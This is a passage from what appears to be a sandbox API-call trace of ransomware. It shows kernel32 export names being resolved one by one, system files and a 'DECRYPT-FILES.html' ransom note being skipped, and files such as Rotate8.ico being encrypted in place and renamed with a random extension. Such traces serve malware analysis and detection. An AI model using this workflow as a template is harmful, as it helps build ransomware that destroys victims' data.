lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0148.569] lstrlenA (lpString="CREATEJOBSET") returned 12 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0148.569] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0148.569] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0148.569] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0148.569] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0148.569] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0148.569] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0148.569] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0148.569] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0148.569] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0148.569] lstrlenA (lpString="CREATEPIPE") returned 10 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0148.570] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0148.570] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0148.570] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0148.570] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0148.570] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0148.570] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0148.570] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0148.570] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0148.570] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0148.570] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0148.570] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0148.570] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0148.570] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0148.570] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0148.570] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0148.570] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0148.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0148.571] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0148.571] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0148.571] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0148.571] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0148.571] lstrlenA (lpString="CREATETHREAD") returned 12 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0148.571] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0148.571] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0148.571] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0148.571] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0148.571] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0148.571] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0148.571] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0148.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0148.572] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.oKIQ7") returned 48 [0148.572] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.oKIQ7" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.okiq7"), dwFlags=0x0) returned 1 [0148.573] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.573] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.573] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.574] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0148.574] lstrcmpiW (lpString1="Rotate8.ico", lpString2="DECRYPT-FILES.html") returned 1 [0148.574] lstrcmpiW (lpString1="Rotate8.ico", lpString2="autorun.inf") returned 1 [0148.574] lstrcmpiW (lpString1="Rotate8.ico", lpString2="boot.ini") returned 1 [0148.574] lstrcmpiW (lpString1="Rotate8.ico", lpString2="desktop.ini") returned 1 [0148.574] lstrcmpiW (lpString1="Rotate8.ico", lpString2="ntuser.dat") returned 1 [0148.574] lstrcmpiW (lpString1="Rotate8.ico", lpString2="iconcache.db") returned 1 [0148.574] lstrcmpiW (lpString1="Rotate8.ico", lpString2="bootsect.bak") returned 1 [0148.574] lstrcmpiW (lpString1="Rotate8.ico", lpString2="ntuser.dat.log") returned 1 [0148.574] lstrcmpiW (lpString1="Rotate8.ico", lpString2="thumbs.db") returned -1 [0148.574] lstrcmpiW (lpString1="Rotate8.ico", lpString2="Bootfont.bin") returned 1 [0148.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0148.574] lstrlenW (lpString="Rotate8.ico") returned 11 [0148.574] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0148.574] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate8.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" [0148.574] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0148.574] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0148.575] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=894) returned 1 [0148.575] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0148.575] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0148.774] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0148.774] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0148.774] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0148.775] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0148.775] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0148.775] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.775] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0148.775] CloseHandle (hObject=0x5f8) returned 1 [0148.776] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.776] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0148.776] CloseHandle (hObject=0x0) returned 0 [0148.776] CloseHandle (hObject=0x5f4) returned 1 [0148.777] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.777] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.777] GetTickCount () returned 0x3a74d [0148.778] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0148.778] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0148.778] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0148.778] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0148.778] lstrlenA (lpString="kernel32.dll") returned 12 [0148.778] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0148.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0148.778] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0148.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0148.778] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0148.779] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0148.779] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0148.779] lstrlenA (lpString="ADDATOMA") returned 8 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0148.779] lstrlenA (lpString="ADDATOMW") returned 8 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0148.779] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0148.779] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0148.779] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0148.779] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0148.779] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0148.779] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0148.779] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0148.779] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0148.779] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0148.779] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0148.779] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0148.779] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0148.779] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0148.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0148.779] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0148.780] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0148.780] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0148.780] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0148.780] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0148.780] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0148.780] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0148.780] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0148.780] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0148.780] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0148.780] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0148.780] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0148.780] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0148.780] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0148.780] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0148.780] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0148.780] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0148.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0148.781] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0148.781] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0148.781] lstrlenA (lpString="BACKUPREAD") returned 10 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0148.781] lstrlenA (lpString="BACKUPSEEK") returned 10 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0148.781] lstrlenA (lpString="BACKUPWRITE") returned 11 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0148.781] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0148.781] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0148.781] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0148.781] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0148.781] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0148.781] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0148.781] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0148.781] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0148.781] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0148.781] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0148.781] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0148.781] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0148.781] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") 